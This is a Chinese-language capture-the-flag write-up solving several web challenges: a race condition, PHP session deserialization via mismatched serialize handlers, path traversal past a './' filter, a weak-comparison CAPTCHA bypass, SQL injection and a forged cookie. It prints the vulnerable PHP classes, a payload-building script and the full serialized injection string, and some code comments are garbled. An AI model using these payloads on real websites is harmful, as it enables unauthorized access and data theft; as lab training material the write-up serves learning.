比赛的时候没来的及做听说很简单
0x01 条件竞争
看了逻辑之后就是个简单的竞争题目
利用burp爆破即可
reset
login
最后得到flag
0x02 PHP序列化
这一题也是比较老套的题目,看具体的分析过程
在主页面 使用的session解析方式是
ini_set('session.serialize_handler', 'php_serialize');
在query.php
界面是php的默认解析方式
具体的区别参照我以前写的博客
0x1 执行流程
在主页输入的src参数作为session的值存入服务器,当访问query.php
时因为解析方法的不同使得session中的序列化的类被反序列化,因存在魔法函数导致了一系列的函数的执行,从而造成攻击
0x2 代码分析
找到备份文件query.php~
/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/
大致的流程反序列化TOPC执行echo TOPB 触发TOPB的tostring方法,TOPB自带反序列化TOPA的函数,反序列化A后return 触发TOPA中的tostring
0x3 bypass
TOPC的
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
需要绕过,方法利用序列化变量值不同
TOPB的
if($this->obj->token === $this->obj->ticket)
不是弱类型比较,利用引用的方法
0x4 payload生成
$a = new TOPA();
$a->token = &$a->ticket;
$a->username = 'aaaaaaaaaaaaaaaaa';
$a->password = 'bbbbbbbbbbbbbbbbbb';
//这里在代码逻辑上是不用给username&password赋值的,估计是函数写错了 ,还有login函数是怎么触发的,如果是tostring函数逻辑上就将通了
$b = new TOPB();
$b->attr = serialize($a);
$c = new TOPC();
$c->attr = $b;
echo serialize($c));
0x5 利用
在首页输入src=|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}
在query.php即可找到key
0x03 读文件
点击1.txt
猜测代码是include或者是file_get_content
但不知道1.txt的目录在哪
尝试访问1.txt
估计在/a中的一个子目录下假设为/a/xxx/那么flag.php的位置应该是include的上级目录则是../flag.php因为./被替换成了空则上述字符串改写为…//fla./g.php
0x04 验证码
这又是一道关于验证码的题目。目前来说一些高级的验证码还是很安全的。这一题只是简单的验证码的实现,如果想知道原理可以参照我的另一篇博客
首先看这一题
验证码在验证的时候一般会有session会话
在验证的时候如果session检测这么写
$_POST['authcode'] == $_SESSION['authcode']
注意这里运用了弱类型比较
那么就有绕过的机会
当两者都为空的时候就可以绕过
此题我猜想就是这样
利用burp直接爆破
0x05 spring-css
直接网上查找cve
直接使用
发现flag位置
0x06 注入越权
这一题也是看过writeup写的,感觉一开始没有get到点,其实正过来向原理倒是挺简单的
看网页源码有提示,其实就是admin登录,利用update特性
首先它过滤了一些关键字符不能使用引号
看具体的注入代码
0x07 Forbidden
最开始想到的是XXF
不过到最后层层递加
解决什么问题自己百度吧
最后有个脑洞,话又说回来都是套路
4e6a59324d545a6a4e7a4d324e513d3d //16进制
NjY2MTZjNzM2NQ==//base64
66616c7365//16进制转字符
false
利用上述过程写出逆算法
得到4e7a51334d6a63314e6a553d
放入cookie
login=4e7a51334d6a63314e6a553d
最后传过去比对即可